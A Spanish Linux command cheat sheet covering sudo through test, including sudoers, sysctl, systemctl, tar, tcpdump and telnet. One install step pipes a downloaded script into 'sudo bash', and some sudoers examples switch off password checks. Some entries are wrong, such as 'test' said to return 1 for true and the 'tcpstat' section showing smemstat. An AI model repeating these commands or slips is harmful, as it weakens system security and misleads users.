Pueden añadirse las siguientes líneas en /etc/sudoers:

```
Defaults passprompt=mi frase solicitando la contraseña...
Defaults badpass_message=mi frase si se entra erronea...
usuario ALL=(ALL) ALL (Añadir el usuario a sudo)
Defaults:usuario !authenticate (si no queremos que nos pida la contraseña)
usuario ALL=NOPASSWD: /usr/sbin/firestarter (Para que no pida contraseña al arrancar una
    aplicación concreta)
O añadir a la línea Defaults, algunos parámetros separados por comas:
```

```
timestamp_timeout=5 (La contraseña se guardará 5 minutos.)
insults (Te mostrará insultos si fallas la contraseña)
passwd_tries=2 (Permitir 2 errores al entrar la contraseña. Por defecto 3)
rootpw (Para que nos pida la contraseña de root y no la de usuario)
Ejemplos:
```

```
Defaults !lecture, tty_tickets, !fqdn, timestamp_timeout=0, insults
Defaults@192.168.1.2 !lecture, tty.... (Permitir ejecución sólo desde nuestra máquina)
1.-
```

Para que al entrar un contraseña en la terminal aparezcan asterisco:

En la línea: Defaults env\_reset

Añadir "pwfeedback" dejándola:

Defaults env\_reset , pwfeedback

2.-

Ver la totalidad de acciones realizadas con el comando sudo

```
# journalctl _COMM=sudo
```

## sudoedit

Ejecutar un comando como otro usuario (ver sudo)

```
$ sudoedit -u root /etc/sudoers
```

## sudosh

Registra lo que hace un usuario en el sistema cuando requiere privilegios de administrador y lo almacena en dos ficheros de log, uno para los comandos y otro para los tiempos. Descarga: <http://sourceforge.net/projects/sudosh2/> y el ejecutable se instala en /usr/local/bin/sudosh

Ajustes

```
# nano /etc/sudoers
```

Y añadir la línea:

```
Cmdnd_Alias SUDOSH=/usr/local/bin/sudosh
Incluir sudosh en las shells:
```

```
# echo "/usr/local/bin/sudosh" >> /etc/shells
```

Añadimos la ruta al final del usuario que queremos monitorizar:

```
# nano /etc/passwd
```

```
games:x:5:60:games:/usr/games:/usr/local/bin/sudosh
```

```
# sudosh
Inicia la grabación de todo lo que ocurre en la consola
```

```
# sudosh-replay
Muestra las grabaciones archivadas en /var/log/sudosh/
```

```
# sudosh-replay templix-root-script-1353428989-Eji70wlZOAuIE4HM
Reproduce la escogida
```

## sulogin

permite el ingreso del superusuario al sistema. Suele ser invocado por init cuando el sistema entra en el modo monousuario.

## sum

Muestra la suma de verificación y el número de bloques del fichero.

```
$ sum -s archivo
Emplea el algoritmo de suma BSD con bloques de 1 kB
```

```
$ sum -r archivo
Emplea el de System V, con bloques de 512 octetos
```

## summain

Realiza sumas de comprobación de archivos y busca sus metadatos.

```
$ summain --output=summain.txt -c MD5 archivo
Lo guardará en summain.txt y suma de verificación en MD5. Por defecto es SHA1. Otras opciones:
SHA224, SHA256, SHA384, SHA512
```

```
$ summain --output=Comprobación_dir -c SHA512 /home/usuario/
De todos los archivos del directorio del usuario
```

## surf

[dmenu, wget]. Navegador

```
$ surf -i URL
Deshabilitar imagenes
```

```
$ surf -p URL
Deshabilitar plugins
```

```
$ surf -s URL
Deshabilitar Javascript
```

Atajos

Esc (Stop )

```
^h (Historial)
^l (Hacia delante en el historial)
^k (ir hacia arriba de la página)
^j (ir hacia abajo de la página)
^K (Incrementar el zoom)shopt s extglob
^J (Disminuir el zoom)
^I (Resetear el zoom)
^n (ir al siguiente resultado de la búsqueda)
^N (ir al anterior resultado)
^g (Abrir la barra de direcciones [dmenu])
^P (Abre dialogo de impresión)
^r (Recargar página)
^R (Recargar sin usar la caché)
^o (Ver código fuente)
```

## surfraw

Buscador de significados en la web. Antes de usar, especificar los navegadores que se usarán en terminal y en las X, mostrando la ruta absoluta a los ejecutables:

```
# nano /etc/xdg/surfraw/conf
```

```
...
# name/path of text browser executable
# e.g links, lynx, w3m
def SURFRAW_text_browser /usr/bin/elinks
# name/path of browser executable
# e.g mozilla, netscape etc
def SURFRAW_graphical_browser /usr/bin/firefox
```

```
$ sr wikipedia -l=es Palabra_a_buscar
buscar en wikipedia y en español
```

```
$ sr -elvi | less
listar los sitios disponibles donde buscar
```

## suricata

Sistema de detección de intrusiones de red (IDS). Se basa en reglas para detectar una variedad de ataques/sondeos mediante la búsqueda de contenido de paquetes. Este nuevo motor admite la detección automática de múltiples subprocesos (IP, TCP, UDP, ICMP, HTTP, TLS, FTP y SMB), descompresión de Gzip y coincidencia rápida de IP.

```
# suricata --list-runmodes
listar los run modos posibles
```

```
# suricata -c /etc/suricata/suricata.yaml -i eth0 -D
forma básica, activando el daemon
```

```
# tail -f /var/log/suricata/fast.log
comprobar las alertas
```

## suspend

Cuando es posible, suspender la shell actual.

```
# suspend -f
Pasará de root a nuestro usuario
```

## suspicious-source

Script que genera una lista de archivos que no son archivos fuente comunes. Esto debe ejecutarse en la raíz de un árbol de fuentes para encontrar archivos que podrían no ser la "forma preferida de modificación" que requieren la licencia GPL y otras licencias.

```
# suspicious-source -d /usr/bin
```

## swap

También llamado memoria de intercambio o memoria virtual, es la que se sirve del espacio en el disco duro en lugar del módulo de memoria. Las aplicaciones usan la memoria RAM para ejecutarse en el ordenador cuando no hay muchas ejecutándose pero si hay muchas o estas necesitan mucha RAM o no hay RAM suficiente para todas es cuando entra en acción la swap. Una de las desventajas de utilizar la swap es que el sistema se vuelve más lento ya que la velocidad de intercambio de información entre un disco duro y la RAM es abismalmente diferente. La memoria RAM es unas 1000 veces más rápida que un SSD y 100.000 veces más rápida que un HDD. El tamaño de una swap en un equipo con una memoria de 8 GB o más, como norma general es 2GB. Reservar para la swap más de 2 GB es estéril pero aunque un equipo no tenga 8 GB de memoria es aconsejable no dejar una swap inferior a 1GB.

## swapoff

Desactivar una partición swap.

```
$ swapoff -a
Desactivar todas las especificadas en /etc/fstab
```

## swapon

Activar una partición swap.

```
$ swapon /dev/hda5
$ swapon -a
Activar todas las particiones swap del /etc/fstab
$ swapon -s
Comprobar estado actual de la memoria swap
```

## swappiness

Uso de la swap por parte del sistema. Ver sysctl.

```
$ cat /proc/sys/vm/swappiness
```

## swapspace

Complemento del sistema que adapta de forma continua y automática el espacio de memoria virtual disponible a las necesidades de memoria reales. Reclama espacio en disco para usarlo como espacio de intercambio cuando sea necesario y lo libera para que lo utilice el sistema de archivos cuando deja de ser necesario.

```
$ systemctl status swapspace.service
comprobar si está activo
```

## sxiv

Visor de imágenes con las funciones básicas necesarias para una visualización rápida.

```
$ sxiv imagen.png
```

## synaptic

Interfaz gráfica para apt, sistema de gestión de paquetes basadas en Debian.

Atajos de teclado:

Ctrl + f (Buscar paquete)

Ctrl + r (Refrescar lista de paquetes)

Ctrl + g (Marcar todas las actualizaciones)

Ctrl + p (Aplicar los cambios)

Ctrl + q (Salir)

## sync

Sincroniza memoria y disco [escribe el contenido de los buffers en disco]

```
$ sync
```

```
# sync; init 0
Sincronizar y apagar el equipo
```

## synclient

Consultar/modificar las opciones del touchpad

```
$ synclient -l
Ver la configuración
```

```
$ synclient TapButton1=1 TapButton2=2 VertEdgeScroll=1 (Activar el click y el scroll. Para
hacerlo permanente poner la línea en el inicio [en fluxbox sería en /.fluxbox/startup])
```

## sysbench

Utilidad para medir el rendimiento de un ordenador.

Descarga e instalación:

```
$ curl -s https://packagecloud.io/install/repositories/akopytov/sysbench/script.deb.sh |
  sudo bash
# apt -y install sysbench
```

```
$ sysbench --test=cpu --cpu-max-prime=20000 run
test para la CPU
```

```
$ sysbench memory --threads=2 run
testear la memoria
```

```
$ sysbench --test=cpu --cpu-max-prime=50000 --num-threads=6 run
Con este test medimos la velocidad de la CPU. num-threads indica el número de núcleos a usar
```

## sysctl

Muestra la configuración de los parámetros del kernel

```
# sysctl -a | more
Muestra todas las [muchisimas] variables
```

```
# sysctl fs.file-max
máximo de ficheros que pueden abrirse en el sistema
```

```
# sysctl fs.file-max=256000
modificarlo a 256000
```

```
# sysctl -w vm.swappiness=10
usar más memoria RAM y menos SWAP
```

```
# sysctl kernel.panic=5
forzar reinicio a los 5 segundos despues de un kernel panic
```

Para hacer los cambios permanentes añadir las líneas al archivo /etc/sysctl.conf:

```
# echo "kernel.panic=5" >> /etc/sysctl.conf
```

```
# echo "vm.swappiness=10" >> /etc/sysctl.conf
```

Otros ajustes que podemos hacer en este archivo que mejoran el rendimiento del sistema son:

```
# echo "vm.vfs_cache_pressure = 50" >> /etc/sysctl.conf
reducir intercambio de información entre disco duro y memoria RAM
```

```
# echo "vm.watermark_scale_factor = 200" >> /etc/sysctl.conf
cantidad de información en la memoria que será paginada al disco
```

```
# echo "vm.dirty_ratio = 3" >> /etc/sysctl.conf
reducir la transferencia de la cantidad paginada
```

1.-

Liberar memoria ram:

```
# watch -n 1 free -m
Comprobar el estado actual
```

```
# sync && sysctl -w vm.drop_caches=3
```

```
# watch -n 1 free -m
Volver a lanzar el primer comando para ver la diferencia
```

## syslinux

Hacer particiones arrancables

```
$ syslinux /dev/sda1
```

## syslinux-utils

Conjunto de cargadores de arranque que actualmente admite sistemas de archivos DOS FAT y NTFS ( SYSLINUX), sistemas de archivos Linux ext2/ext3/ext4, btrfs y xfs (EXTLINUX), arranques de red PXE ( PXELINUX) o CD-ROM ISO 9660 (ISOLINUX). Contiene las utilidades auxiliares: gethostip, isohybrid, isohybrid.pl, lss16toppm, md5pass, memdiskfind, mkdiskimage, ppmtolss16, pxelinux-options, shalpass y syslinux2ansi.

## syslogout

Configuración diseñado para funcionar con bash para un mantenimiento de las partes del shell encargada de cerrar sesión y que permite o prohíbe el cierre de sesión del shell para todos los usuarios del sistema de forma modular y centralizada. No es un ejecutable ni un daemon. Las configuraciones se encuentran en \$HOME/.bash\_logout, /etc/syslogout y /etc/syslogout.d/

## system-config-printer

Gestor de impresoras. Lanza la gui.

```
$ system-config-printer
```

## systemctl

[systemd-sysv]. Systemd es un administrador del sistema y gestor de servicios compatible con SysV al que reemplaza.

```
# systemctl reboot  
Reiniciar el pc
```

```
# systemctl poweroff  
Parar el sistema
```

```
# systemctl suspend  
Suspender el sistema
```

```
# systemctl hibernate  
Poner el sistema en hibernación
```

```
# systemctl  
Listado de unidades activas
```

```
# systemctl list-units  
Listado de unidades activas
```

```
# systemctl --failed  
Listado de unidades que han tenido problemas
```

```
# systemctl list-unit-files  
Listado de unidades instaladas
```

```
# systemctl list-dependencies ssh.service  
servicios que se han de iniciar antes de iniciar el servicio requerido
```

```
# systemctl start slim.service  
Activa slim de inmediato
```

```
# systemctl stop sshd.service  
Parar ssh de inmediato
```

```
# systemctl restart apache2.service  
Reiniciar el servicio apache
```

```
# systemctl reload wicd.service  
Recargar la configuración de wicd
```

```
# systemctl status cron.service  
Muestra el estado de cron
```

```
# systemctl is-active ssh.service  
verificar si un servicio está activo
```

```
# systemctl is-enabled cups  
Comprueba si cups está habilitada o no
```

```
# systemctl is-failed mysql  
comprueba si un servicio falla
```

```
# systemctl enable NetworkManager.service  
Activa el inicio automático de network-manager en el arranque
```

```
# systemctl disable smbd.service  
Desactiva el inicio automático de samba en el arranque
```

```
# systemctl daemon-reload  
Recarga systemd, escaneando en busca de unidades nuevas o modificadas
```

```
# systemctl isolate multi-user.target
Arrancar en runlevel 3
```

```
# systemctl isolate graphical.target
Arrancar en runlevel 5
```

```
# systemctl -r --type service --all
mostrar los servicios, activos o no, disponibles en el sistema
```

```
# systemctl --type=service --state=running
los servicios que estan activos
```

```
# systemctl --type=service --state=running | grep cups.service
ver si un servicio está activo
```

```
# systemctl --type=service --state=failed,exited
ver estado de dos servicios
```

1.-

Para incorporar el arranque a grub2, modificar del archivo:

```
# nano /etc/default/grub
```

La linea:

```
GRUB_CMDLINE_LINUX_DEFAULT="quiet init=/bin/systemd"
2.-
```

Para que al bajar la tapa de un portatil el sistema no se suspenda.

```
# nano /etc/systemd/logind.conf
```

Y modificar la linea:

```
HandleLidSwitch=ignore
3.-
```

Para cambiar el nivel de ejecución predeterminado del sistema, que con sysvinit se hacía editando /etc/inittab y modificando la linea id:5:initdefault:, con systemd se hace:

```
# ln -sf /lib/systemd/system/graphical.target /etc/systemd/system/default.target
```

4.-

Para acelerar el proceso de inicio y finalización:

```
# /etc/systemd/system.conf
```

Y descomentar y modificar las lineas siguientes de 90 segundos a 10:

```
DefaultTimeoutStartSec=10s
DefaultTimeoutStopSec=10s
```

## systemd-analyze

Analiza la secuencia de arranque en sistemas basados en systemd (Ver systemctl)

```
# systemd-analyze time
muestra el tiempo total del arranque del sistema, desglosando el tiempo en espacio de usuario, del
kernel y en la carga del initrd
```

```
# systemd-analyze blame
procesos que se ejecutan y cuanto tiempo consumen
```

```
# systemd-analyze critical-chain
ver cuellos de botella en el arranque
```

```
# systemd-analyze plot > archivo.svg
mostrar un gráfico con los tiempos del arranque
```

```
# systemd-analyze dump
volcar todo el arranque
```



## **systune**

Este programa escribe los parámetros del núcleo, previamente guardados en un archivo de configuración, en el sistema de archivos /proc. Esto permite ajustar el rendimiento del kernel sin volver a compilarlo. Systune se inicia después de la mayoría de los demonios y otros scripts de init.d, por lo que puede usarse como sysctl de "segunda etapa".

## **sysvbanner**

Muestra, horizontalmente, un texto de 'banner' de la misma manera que lo hace el banner de System V. Este paquete proporciona los comandos banner y sysvbanner

```
$ sysvbanner linux
```

## **sysv-rc-conf**

Gestionar el arranque de las aplicaciones al inicio.

```
# sysv-rc-conf
```

---

## T

---

### **tac**

Muestra el fichero por consola, al revés. De la última línea a la primera

```
$ tac archivo.txt
```

### **tail**

muestra las últimas 10 líneas de un fichero (si no se especifica otra cantidad)

```
# tail /var/log/apache2/access.log
```

```
# tail -f /var/log/apache2/access.log
Actualiza los logs cada segundo
```

```
# tail -50 /var/log/apache2/access.log
muestra las últimas 50
```

```
# tail -f /var/log/httpd/access_log /var/log/fail2ban.log
Abrir dos archivos
```

```
# tail -s 5 archivo.log
Actualiza cada 5 segundos
```

### **taktuk**

Permite ejecutar comandos en paralelo en un conjunto potencialmente grande de nodos remotos, usando ssh para conectarse a cada nodo.

```
# taktuk -s -m host_remoto.com broadcast exec [ hostname ]
autopropagar [s] en host_remoto.com [m] el comando "hostname"
```

Nota- "broadcast exec [ ... ]" es un comando que será ejecutado por el intérprete de taktuk y "autopropagar" se refiere a si en los host remotos no está instalado taktuk

```
# taktuk -m host_remoto.com
modo interactivo y estando taaktuk instalado en host_remoto.com
```

```
# taktuk -s -m host1 -m host2 -m host3 broadcast exec { uptime }
autopropagar a tres host especificados el comando "uptime"
```

```
# taktuk -s -f hosts broadcast exec { uptime }
Lo mismo pero los host estan especificados en el archivo hosts [f]
```

## talk

Entablar conversaciones con usuarios conectados a nuestro sistema o remotos

```
$ talk usuario ttyx
Conectar con usuarios locales
```

```
$ talk usuario@IP_o_Host
Con un usuario remoto [UNIX]
```

## tapestat

[sysstat]. Utilidad para supervisar la actividad de las unidades de cinta conectadas a un sistema.

```
# tapestat -y
omitir el tiempo transcurrido desde que se inició el sistema
```

```
# tapestat --human
presentación en formato legible [23M, 55k...]
```

## taptempo

Presionar la tecla Intro al ritmo de una canción que se está escuchando se obtiene el número correspondiente de latidos por minuto [bpm=beats-per-minute]. Equivale al tempo ejecutado por un metrónomo.

```
$ taptempo
```

## tar

[gzip bzip2 unzip tar unrar] Empaquetar y comprimir archivos y/o directorios.

```
$ tar -cf archivo.tar dir
Crear paquete .tar
```

```
$ tar -xf archivo.tar
Descomprimir un .tar
```

```
$ tar -tf archivo.tar
Listar contenido
```

```
$ tar -cf archivo.tar.gz dir
Crear paquete tar.gz
```

```
$ tar -xf archive.tar.gz
Descomprimir un tar.gz
```

```
$ tar -cf archivo.tgz dir
Crear paquete .tgz
```

```
$ tar -xf archivo.tgz
Descomprimir un .tgz
```

```
$ tar -tf archivo.tgz
Listar contenido
```

```
$ tar -cf archive.xz dir
Crear paquete .xz
```

```
$ tar -xf archive.xz
Descomprimir paquete . xz
```

```
$ tar -cf archivo.tbz dir
Empaquetar y comprimir
```

## T

```
$ tar -xf archivo.tbz
Desempaquetar y descomprimir
```

```
$ tar -tf archivo.tbz
Ver contenido
```

```
$ tar -cf archivo.tar.bz2 dir
Crear paquete .tar.bz2
```

```
$ tar -xf archivo.tar.bz2
Descomprimir archivo .tar.bz2
```

Opciones:

```
-z (Comprimir/descomprimir usando gzip)
-c (Crear un nuevo archivo)
-v (mostrar proceso)
-f (archivo (nombre de archivo))
-x (extraer el contenido del archivo comprimido)
-t (listar contenido de un archivo)
-j (comprimir/descomprimir con bzip2)

Otros casos:
```

```
$ tar -cf - file/ | gpg -c > file.cript
empaquetar y encriptar un archivo
```

```
$ tar -c ficheros | bzip2 > archivo.tar.bz2
Empaquetar ficheros y comprimir
```

```
$ tar -cvzf archivo.tar.gz /home/usuario --exclude=videos
Empaquetar el directorio del usuario excluyendo el directorio videos
```

```
$ tar -cvfz archivo.tgz --exclude="home/usuario/Descargas" /home/usuario/*
Lo mismo de otra forma
```

```
$ tar -cvzf archivo.tar.gz exclude={*.iso,videos} /home/usuario
Otra forma de empaquetar el directorio del usuario excluyendo todas las iso y la carpeta videos
```

```
$ tar -jxf archivo.tbz -C /tmp
Descomprimir en otra carpeta
```

```
$ tar -cvfz archivo.tgz --exclude="home/usuario/Descargas" --exclude=home/usuario/videos /home/
usuario/*
Otra forma de especificar las carpetas excluidas
```

```
$ tar -czf - Images | ssh 192.168.1.15 'cat > ~/Images.tar.tgz'
Crear un tar de un directorio y mandarlo a un host remoto por ssh donde creará en el directorio
personal el paquete Images.tar.gz
```

## tarcat

Concatena por pantalla los contenidos de archivos de texto o comprimidos con tar.

```
$ tarcat file1.tar file2.tar file3.tar
```

```
$ tarcat file1.txt file2.txt file3.txt
```

## tc

Controlar, clasificar, dar forma y programar el tráfico de la red.

```
# tc qdisc
```

```
# tc -c -d qdisc
```

```
# tc -g class show dev enpls0
```

Muestra clases como gráfico ASCII en la interfaz enpls0

```
# tc qdisc show dev enp0s0
```

## tcpbench

Herramienta que realiza evaluaciones comparativas de rendimiento y muestreo simultáneo de variables de red del kernel.

```
$ tcpbench -n
modo servidor, donde escuchará todos interfaces para conexiones entrantes

$ tcpbench 127.0.0.1
```

## tcpdump

Capturar el trafico de la red.

```
# tcpdump -D
Ver las distintas redes disponibles

# tcpdump -nni any
Capturar todas las interfaces de red del equipo

# tcpdump -n -i eth0 -s 1515 -w archivo
que la información se guarde en archivo

# tcpdump -n -i eth0 -s 1515 -l | tee archivo
verlo en pantalla y que se guarde en archivo

# tcpdump -n -r archivo -c 4
analizar ficheros

# tcpdump -n -r archivo udp
filtrar por protocolos - udp, tcp, icmp, arp ...

# tcpdump -n -r archivo -c 2 not tcp
con operadores booleanos [not, and]. Ver las 2 primeras capturas que no sean tcp

# tcpdump -n -r archivo -c 2 not tcp and not udp
Ver las 2 primeras capturas que no sean tcp ni udp

# tcpdump -n -r archivo -c 2 tcp and dst port 25
Ver las 2 primeras capturas tcp y dst con destino al puerto 25

# tcpdump -enni eth0
info de la capa de enlace y MACs origen y destino

# tcpdump host 192.168.1.3
Capturar todo el tráfico del host especificado

# tcpdump src net 192.168.1.0/28
Especificando una red

# tcpdump src host 192.168.1.3
Solo lo que salga de la IP especificada

# tcpdump dst port 23
Todo el trafico que vaya dirigido al puerto 23

# tcpdump udp and dst port 53
Capturar tráfico de comunicación con las DNS

# tcpdump tcp and not port 80
Capturar todo el tráfico excepto el web

# tcpdump tcp and port 80
Capturar solo el web

# tcpdump -i eth0 port not 80 and host www.google.com
Para saber si google manda cosas por otros puertos que no sean el 80

# tcpdump -n -i eth1 -X tcp
Ver información del contenido de los paquetes
```

## T

```
# tcpdump ether src 01:20:21:00:00:B2
Captura tráfico de la mac
```

```
# tcpdump udp and dst port 53
Capturar peticiones DNS
```

```
# tcpdump tcp and (port 22 or port 23)
Capturar el tráfico telnet y ssh
```

```
# tcpdump portrange 21-23
tráfico origen/destino de los puertos 21, 22 o 23
```

```
# tcpdump -n -i eth1 -X -s 200 port 9001
de un puerto concreto
```

```
# tcpdump -v -i eth1 port 9001 | awk '{print$1,$2,$3}'
```

```
# tcpdump port 9001
Capturar todo el tráfico del puerto especificado
```

Algunas opciones:

-n (Para no resolver las direcciones IP)

-i (Indica la interfaz de red)

-s (volumen de la parte del paquete que queremos capturar [1515 es suficiente])

-c (cantidad de mensajes a visualizar)

-p (no cambia la interfaz a modo promiscuo)

-x (ver los contenidos de los paquetes)

-r archivo (Para leer los datos de un archivo guardado con la opción -w)

src (Dirección y puerto origen)

dst (Dirección y puerto destino)

1.-

Ejemplo de un proceso:

```
# tcpdump -nni eth0 'port 80' -w /tmp/port.80
Capturar el tráfico por el puerto 80 y mandarlo a un archivo
```

```
# tcpdump -r /tmp/port.80 -nn
Análisis básico de los datos
```

```
# tcpdump -r /tmp/port.80 -nn 'host !216.158.240.43'
Filtrar los datos descartando un host
```

```
# tcpdump -r /tmp/port.80 -nn 'host !216.158.240.43' -w /tmp/port.80.b
Lo mismo enviando los nuevos datos a otro fichero
```

## tcpick

Muestra información sobre conexiones, carga, datos FTP, HTTPS, download...

```
# tcpick -i eth0 -C
con color
```

```
# tcpick -i eth0 -C -a "port 80"
mostrar en color [C] y nombres de host [a] en un puerto
```

## tcpkill

[dsniff)]. Matar o impedir conexiones tcp.

```
# tcpkill -i eth1 host www.facebook.com
imposibilitará entrar en facebook
```

```
# tcpkill -i eth0 host www.facebook twitter.com
especificar varias urls separadas por un espacio
```

```
# tcpkill -i eth0 port 22
especificando un puerto
```

## tcpstat

Informa de estadísticas de la red al igual que vmstat [ver] lo hace para las estadísticas del sistema. El valor predeterminado es 5 segundos.

```
# smemstat 4 3
monitorear 3 veces cada 4 segundos
```

```
# smemstat -dm -o smemstat.json
informe en megabytes, eliminando ruta del directorio y el resultado en el archivo smemstat.json
```

## tcptrack

aplicación que muestra el consumo de la conexión.

```
# tcptrack -i eth1 port 22 -f
Especificando conexión, puerto y habilitar el algoritmo de velocidad media rápida [-f]
```

```
# tcptrack -i eth1 port 21 or 80
Especificando dos puertos
```

```
# tcptrack -i eth0 "dst port 80"
Sólo mostrar las conexiones destinadas al puerto 80
```

```
# tcptrack -i eth1 -r 10 -d
Mostrar las conexiones 10 segundos más de cuando se cierren, por defecto son 2 segundo [r] y sin rastrear las conexiones existentes [d]
```

```
# tcptrack -T network.pcap > network.txt
Mandando el resultado a un archivo [-T]
```

Algunas teclas de control:

p (Pausar)

q (salir)

s (Cada vez que se pulsa la letra cambia a alguna de las 3 opciones de ordenación: sin ordenar (por defecto), por categoría y por bytes)

## tdc

Reloj acoplable simple y pequeño. Es una herramienta útil para escritorios OpenBox, FVWM, Enlightenment o ion3. Puede usar cualquier formato de fecha POSIX.

```
$ tdc
formato básico solo mostrando hora, minuto y segundo
```

```
$ tdc -w 120 -f "%d/%m/%Y %H:%M" -ce -cl grey40
con medida especificada [por defecto 64], determinado formato del día [f] en el calendario [ce] y color grey40 [cl]
```

```
$ tdc -w 230 -f "%d %b %Y %T"
Otra presentación
```

## T

### teclado

Ver setxkbmap.

Achivo de configuración:

```
# nano /etc/default/keyboard

XKBMODEL="pc105"
XKBLayout="es,de,fr,us"
XKBVARIANT="cat"
XKBOPTIONS=""
BACKSPACE="guess"
```

```
# dpkg-reconfigure keyboard-configuration
```

Reiniciar.

1.-

Con el paquete console-data

Al instalar el paquete, solicita la informacion del teclado, para modificarla:

```
# dpkg-reconfigure console-data
```

2.-

En ciertas ocasiones es necesario modificar del archivo:

```
# nano /etc/initramfs-tools/initramfs.conf
```

El parametro:

KEYMAP=y

### tee

Muestra la salida de un comando en pantalla y al mismo tiempo la graba en un archivo

```
$ rkhunter -c -sk | tee rkhunter.txt
$ rkhunter -c -sk | tee -a rkhunter.txt
Añadirá la entrada al final del fichero
```

### telegram

[libreadline-dev libconfig-dev libssl-dev lua5.2 liblua5.2-dev]. Aplicación de mensajería instantanea más rápida, segura y libre que WhatsApp.

Descarga y compilación:

```
$ wget https://github.com/vysheng/tg/archive/master.zip -O tg-master.zip
$ unzip tg-master.zip
$ cd tg-master
$ ./configure
$ make
```

Registro:

```
$ ./telegram -k tg.pub (Solicita el número de móvil con el prefijo del país [+34xxxxxxxxx],
al momento recibimos un sms con el número de código [xxxxxx] que introduciremos en la
terminal)
```

```
$ ./telegram -N (Arrancar la aplicación lista para poder descargar fotos y videos)
Algunas teclas de control:
```



## T

```
help (Mostrar todos los comandos disponibles)
msg contacto texto_a_enviar (Enviar mensaje a un contacto. Han de escribirse las primeras
letras del contacto y pulsar tabulador para autocompletar)
```

```
contact_list (Muestra la lista de contactos)
suggested_contacts (Muestra sugerencias de contactos)
add_contact núm_telefono nombre apellido (Añadir un contacto)
chat_with_peer contacto (Xatear todo el rato con el mismo contacto)
history contacto [limite] (Muestra la conversación con el contacto especificado. Si no se
especifica limite, por defecto son 40 líneas. También pone como leídos todos los
mensajes)
```

```
dialog_list (Muestra mensajes pendientes)
user_info contacto (Muestra información del contacto)
stats (Muestra datos de nuestra cuenta)
send_photo contacto archivo.jpg (Enviar a contacto una imagen)
send_video contacto archivo.avi (Enviar un video a un contacto)
send_text contacto archivo.txt (Enviar un texto a un contacto)
fwd contacto id (Buscar el mensaje con el número de id especificado)
mark_read contacto (Marcar todos los mensajes del contacto como leídos)
rename_contact contacto nombre apellido (Renombrar un contacto)
create_secret_chat contacto (Crear un chat privado con un contacto)
set_log_level 0 (Desactivar información de cuando se conectan los contactos)
set_msg_num 1 (Antiva la numeración de los mensajes. con un valor 0 los desactiva)
load_photo ID (Descargar una photo especificando el ID. Crea el dir ~/.telegram/download)
load_video ID (Descarga un video)
quit (Salir)
Otros valores para log_level:
```

```
1 (imprime información acerca de los mensajes leídos)
2 (imprime la línea, cuando alguien está escribiendo en el chat)
3 (Informa cuando alguien cambia de estado en línea
1.-
```

Pra hacer permanentes algunas opciones:

```
$ nano ~/.telegram/config
```

```
log_level = 0;
msg_num = 0;
```

## telinit

Modifica o cambia el runlevel [inittab].

```
# telinit -t 10 6
que reinicie [6] en 10 segundo [-t 10]
```

```
# telinit q
releer archivo de configuración si se ha modificado
```

## telnet

Protocolo que sirve para emular una terminal remota, con lo que permite ejecutar comandos introducidos con un teclado en un equipo remoto.

```
# telnet 123.86.22.190
conectarse a un equipo remoto
```

```
# telnet maquina_remota.com
especificando nombre del host
```

```
# telnet 123.86.22.190 80
conectarse a un equipo remoto con un puerto específico
```

También puede usarse para comprobar localmente si un puerto está abierto:

```
# telnet 192.168.0.27 3000
```

## T

---

Si la conexión está abierta muestra una salida:

```
Trying 192.168.0.27...
Connected to 192.168.0.27...
Si el puerto está abierto pero no hay ningún demonio atendiendo peticiones:
```

```
Trying 192.168.0.27..
telnet: Unable to connect to remote host: Connection refused
Si el puerto está protegido por un cortafuegos no obtengamos respuesta:
```

```
Trying 192.168.0.10...
```

## tempfile

[debianutils]. Crea un archivo temporal de una manera segura.

```
$ tempfile
```

```
$ tempfile -p 4463
lo crea con un prefijo especificado. El resultado es parecido a /tmp/4463pAawmz
```

```
$ tempfile -s nota
lo crea con un sufijo especificado. El resultado es parecido a /tmp/fileKpYlf4nota
```

## terminal

Nombre de la consola propia de xfce. El archivo de configuración se encuentra en:

```
$ nano .config/Terminal/terminalrc
```

## terminalize

[nodejs npm build-essential libgconf-2-4]. Grabaciones de terminal y gifs animados. Página del proyecto: <<https://github.com/faressoft/terminalizer>>

```
$ terminalizer record nombre_proyecto
empezar la grabación
```

```
$ terminalizer play nombre_proyecto
reproducir
```

```
$ terminalizer render nombre_proyecto
crear el gif
```

## terminator

Terminal que puede dividirse horizontalmente y verticalmente.

```
$ terminator -T linux --geometry 1150x250
Especificando un título y medidas
```

Algunos atajos:

```
Ctrl + Mayus + o (División horizontal)
Ctrl + Mayus + e (División vertical)
Ctrl + Mayus + w (Cerrar ventana)
Ctrl + Mayus + cursores (Redimensionar ventana)
Alt + cursores (Moverse por las ventanas)
Ctrl + Mayus + t (Abrir nueva pestaña)
Ctrl + RePag / AvPag (Moverse entre pestañas)
Ctrl + Mayus + q (Cerrar terminator)
```

## terminology

Emulador de terminal para sistemas Linux/BSD/UNIX que usa EFL. Se usa como su emulador de terminal vt100 normal con todas las características habituales, como compatibilidad con 256 colores. Terminology está diseñada para emular Xterm en la mayoría de los aspectos.

```
$ terminology
arrancar el emulador
```

```
$ tycat imagen.png
muestra la imagen en el emulador
```

## termit

Emulador de terminal con soporte para múltiples pestañas, codificación de conmutación, sesiones, combinaciones de teclas configurables, lenguaje Lua incorporado y título de ventana dinámica similar a xterm.

## termite

Emulador de terminal.

```
$ termite --geometry=900x150
Especificando medidas
```

```
$ termite -e htop
Ejecutar una aplicación
```

## termsaver

Salvapantallas para la terminal.

```
$ termsaver quotes4all
Irá mostrando citas extraídas de quotes4all.net
```

Otras opciones:

```
asciartfarts (Imágenes en ascii)
clock (Un reloj digital)
dot (Un punto)
rfc (Contenido RTC [conjunto de documentos que sirven de referencia para la comunidad de
    Internet])
matrix (Código matrix)
```

```
$ termsaver programmer --help
Muestra ejemplos de como usar la opción indicada
```

```
$ termsaver randtxt --word linux_es_un_sistema_genial --delay 1
Mostrará la frase cada segundo en un lugar distinto de la pantalla
```

```
$ termsaver urlfetcher -u lapipaplana.org
Mostrará el código de la página indicada
```

```
$ termsaver programmer -p script.sh
Mostrará el código indicado línea a línea
```

## termtosvg

Graba todo lo que vamos escribiendo en la terminal y sus salidas, en formato SVG, desde que lanzamos la aplicación hasta que escribamos "exit". La grabación se guarda en /tmp.

```
$ termtosvg

Recording started, enter "exit" command or Control-D to end

$ (empezamos a escribir comandos y cuando terminemos:)

$ exit

Rendering ended, SVG animation is /tmp/termtosvg_6nxfvxdm.svg
```

La visualizamos, por ejemplo:

```
$ firefox /tmp/termtosvg_6nxfvxdm.svg
```

## test

Comprobar tipos de archivos y comparar valores, devolviendo 1 si es cierto y 0 si es falsa.

Sobre ficheros:

```
$ test -e archivo; echo $? (Devuelve 0 si archivo exist)
$ test -f archivo; echo $? (Devuelve 0 si archivo existe y es un archivo regular)
